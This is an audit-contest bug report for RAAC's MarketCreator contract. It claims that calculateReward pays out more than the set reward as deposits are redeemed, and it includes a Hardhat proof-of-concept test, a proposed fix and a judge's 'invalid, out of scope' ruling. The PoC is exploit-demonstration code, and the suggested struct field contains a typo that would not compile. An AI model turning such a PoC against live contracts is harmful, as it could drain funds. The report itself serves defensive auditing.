Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Reward Over-Distribution

Summary

The current reward calculation in the calculateReward function can lead to distributing more rewards than the intended market.reward. This is a significant issue that compromises the contract's reward distribution mechanism.

Vulnerability Details

The reward for a user is calculated as (amount * market.reward) / market.totalDeposits.
However, as users redeem, totalDeposits decreases, which affects subsequent reward calculations.
This can lead to over-distribution of rewards, exceeding the market.reward.

Example

  • Assume market.reward = 1000 RAAC tokens.

  • User A deposits 100 tokens, totalDeposits = 100.

  • User B deposits 100 tokens, totalDeposits = 200.

When User A reedems

  • Reward = (100 * 1000) / 200 = 500 RAAC.

  • totalDeposits becomes 100 after redemption.
    When User B redeems:

  • Reward = (100 * 1000) / 100 = 1000 RAAC.
    Total distributed = 500 + 1000 = 1500 RAAC, which exceeds market.reward = 1000 RAAC.

Proof of concept

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("MarketCreator Reward Exploit PoC", function () {
let marketCreator, raacToken, quoteAsset;
let owner, userA, userB;
const marketReward = ethers.utils.parseEther("1000"); // 1000 RAAC tokens
beforeEach(async function () {
[owner, userA, userB] = await ethers.getSigners();
// Deploy mock ERC20 tokens for RAAC and QuoteAsset
const ERC20Mock = await ethers.getContractFactory("ERC20Mock");
raacToken = await ERC20Mock.deploy("RAAC Token", "RAAC", owner.address, ethers.utils.parseEther("1000000"));
await raacToken.deployed();
quoteAsset = await ERC20Mock.deploy("Quote Asset", "QT", owner.address, ethers.utils.parseEther("1000000"));
await quoteAsset.deployed();
// Deploy MarketCreator with RAAC and a dummy decrvUSD token
const MarketCreator = await ethers.getContractFactory("MarketCreator");
marketCreator = await MarketCreator.deploy(owner.address, raacToken.address, quoteAsset.address);
await marketCreator.deployed();
// Mint and approve quoteAsset for userA and userB
for (const user of [userA, userB]) {
// Mint 200 tokens for each user
await quoteAsset.mint(user.address, ethers.utils.parseEther("200"));
await quoteAsset.connect(user).approve(marketCreator.address, ethers.utils.parseEther("200"));
}
// Create market with reward = 1000 RAAC tokens, lock duration arbitrary (e.g. 100 seconds)
await marketCreator.createMarket(quoteAsset.address, 100, marketReward);
// Each user deposits 100 tokens into market 1
await marketCreator.connect(userA).participateInMarket(1, ethers.utils.parseEther("100"));
await marketCreator.connect(userB).participateInMarket(1, ethers.utils.parseEther("100"));
});
it("Exploits reward calculation to distribute > market.reward", async function () {
// Before redemption, totalDeposits is 200 tokens and market.reward = 1000 RAAC tokens.
// User A redeems: expected reward = (100 * 1000)/200 = 500 RAAC tokens.
const txA = await marketCreator.connect(userA).redeemFromMarket(1);
const receiptA = await txA.wait();
// Parse event or simply check RAAC balance increase for userA
const balanceA = await raacToken.balanceOf(userA.address);
// Now market.totalDeposits becomes 100 tokens.
// User B redeems: expected reward = (100 * 1000)/100 = 1000 RAAC tokens.
const txB = await marketCreator.connect(userB).redeemFromMarket(1);
const receiptB = await txB.wait();
const balanceB = await raacToken.balanceOf(userB.address);
// Total reward distributed = 500 + 1000 = 1500 RAAC tokens > 1000 RAAC tokens (market reward)
expect(balanceA.add(balanceB)).to.be.gt(marketReward);
console.log("User A Reward:", ethers.utils.formatEther(balanceA));
console.log("User B Reward:", ethers.utils.formatEther(balanceB));
console.log("Total Distributed:", ethers.utils.formatEther(balanceA.add(balanceB)));
});
});

Impact

The contract can distribute more RAAC tokens than intended, potentially draining the contract's RAAC balance and violating the reward pool constraints.

Recommendations

struct Market {
IERC20 quoteAsset;
uint256 lockDuration;
uint256 reward;
uint256 totalDeposits;
uint256 remaining reward; // New field
}

In calculateReward (updated):

function calculateReward(uint256 marketId, uint256 amount) internal returns (uint256) {
Market storage market = markets[marketId];
uint256 reward = (amount * market.remainingReward) / market.totalDeposits;
market.remainingReward -= reward;
return reward;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.